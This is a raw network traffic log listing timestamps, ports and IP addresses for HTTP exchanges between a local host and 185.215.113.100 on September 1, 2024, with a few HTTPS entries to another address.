Sep 1, 2024 05:09:27.271127939 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271136999 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271146059 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271155119 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271163940 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.271164894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271174908 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271189928 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.271212101 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.271286011 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271296024 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271305084 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271312952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271322966 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271332979 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271342993 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.271354914 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.271372080 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.271435976 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271445990 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271455050 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271465063 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271475077 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.271481991 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.271482944 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271500111 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.271511078 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.271688938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271698952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271708012 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271717072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271725893 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271733999 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271743059 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271744013 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.271752119 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271761894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271770000 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271775007 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.271785021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271792889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.271797895 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.271816015 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.271821976 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.271998882 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272010088 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272018909 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272027969 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272037029 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272044897 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.272046089 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272056103 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272067070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272089958 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.272099018 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.272243023 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272258043 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272268057 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272278070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272281885 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.272288084 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272305012 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.272334099 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.272490978 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272500038 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272507906 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272516966 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272526026 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272533894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272542953 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272551060 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272555113 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.272562027 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272569895 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272576094 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.272578955 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272589922 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272592068 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.272598028 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272603989 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.272607088 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272614956 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272625923 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272634029 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.272660971 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.272716999 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272758007 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.272820950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272830009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272839069 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272847891 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272857904 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272865057 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.272866964 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272877932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272891045 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.272907972 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.272927999 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.272943974 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272953987 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272962093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272970915 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272979021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272988081 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.272989035 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.272996902 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.273006916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.273008108 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.273015976 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.273025036 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.273035049 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.273035049 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.273044109 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.273051977 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.273072958 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.273087978 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.273382902 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.273391962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.273401976 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.273410082 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.273418903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.273427010 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.273436069 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.273438931 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.273447037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.273474932 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.273495913 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.273509026 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.273696899 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.275451899 CEST	49788	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:27.275465012 CEST	443	49788	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:27.359006882 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359026909 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359052896 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.359076023 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359081984 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.359086037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359119892 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.359128952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359173059 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.359194994 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359204054 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359214067 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359222889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359251022 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.359272957 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.359282970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359328985 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.359410048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359420061 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359428883 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359438896 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359447002 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359452963 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.359456062 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359467030 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359477043 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359481096 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.359499931 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.359508038 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.359698057 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359708071 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359718084 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359726906 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359735966 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359745026 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359751940 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.359754086 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359762907 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359771013 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359780073 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.359781027 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359797001 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.359810114 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.359976053 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359986067 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.359996080 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360004902 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360014915 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360023975 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360033989 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360035896 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360061884 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360070944 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360088110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360097885 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360106945 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360116959 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360125065 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360133886 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360136032 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360145092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360153913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360156059 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360163927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360167980 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360172987 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360184908 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360209942 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360233068 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360591888 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360610008 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360620022 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360630989 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360641956 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360642910 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360654116 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360667944 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360691071 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360693932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360707045 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360718012 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360727072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360733986 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360737085 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360754013 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360760927 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360764980 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360790014 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360815048 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360830069 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360841990 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360850096 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360862970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360873938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360879898 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360883951 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360887051 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360913992 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360915899 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360928059 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360934019 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360938072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360953093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360955954 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360964060 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.360979080 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360989094 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.360990047 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361000061 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361011028 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361011028 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361017942 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361021996 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361037016 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361037016 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361047983 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361054897 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361058950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361061096 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361071110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361073971 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361083031 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361087084 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361095905 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361105919 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361112118 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361115932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361129045 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361136913 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361156940 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361164093 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361788034 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361800909 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361809969 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361819029 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361829042 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361839056 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361856937 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361864090 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361865997 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361876965 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361886024 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361886978 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361896992 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361906052 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361910105 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361917973 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361927032 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361932039 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361937046 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361948967 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361953974 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361958981 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361965895 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361972094 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361982107 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.361982107 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.361998081 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.362008095 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.362008095 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.362020016 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.362021923 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.362032890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.362041950 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.362045050 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.362056971 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.362066984 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.362067938 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.362078905 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.362080097 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.362103939 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.362129927 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.396980047 CEST	49789	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:27.396987915 CEST	443	49789	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:27.412611961 CEST	49788	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:27.445904016 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.445976019 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.446065903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446077108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446086884 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446096897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446108103 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446115017 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.446125984 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446146011 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446156025 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446161032 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.446167946 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446171045 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.446180105 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446191072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446197033 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.446225882 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.446348906 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446365118 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446373940 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446386099 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446396112 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446405888 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446412086 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.446417093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446423054 CEST	49742	80	192.168.2.4	185.215.113.100
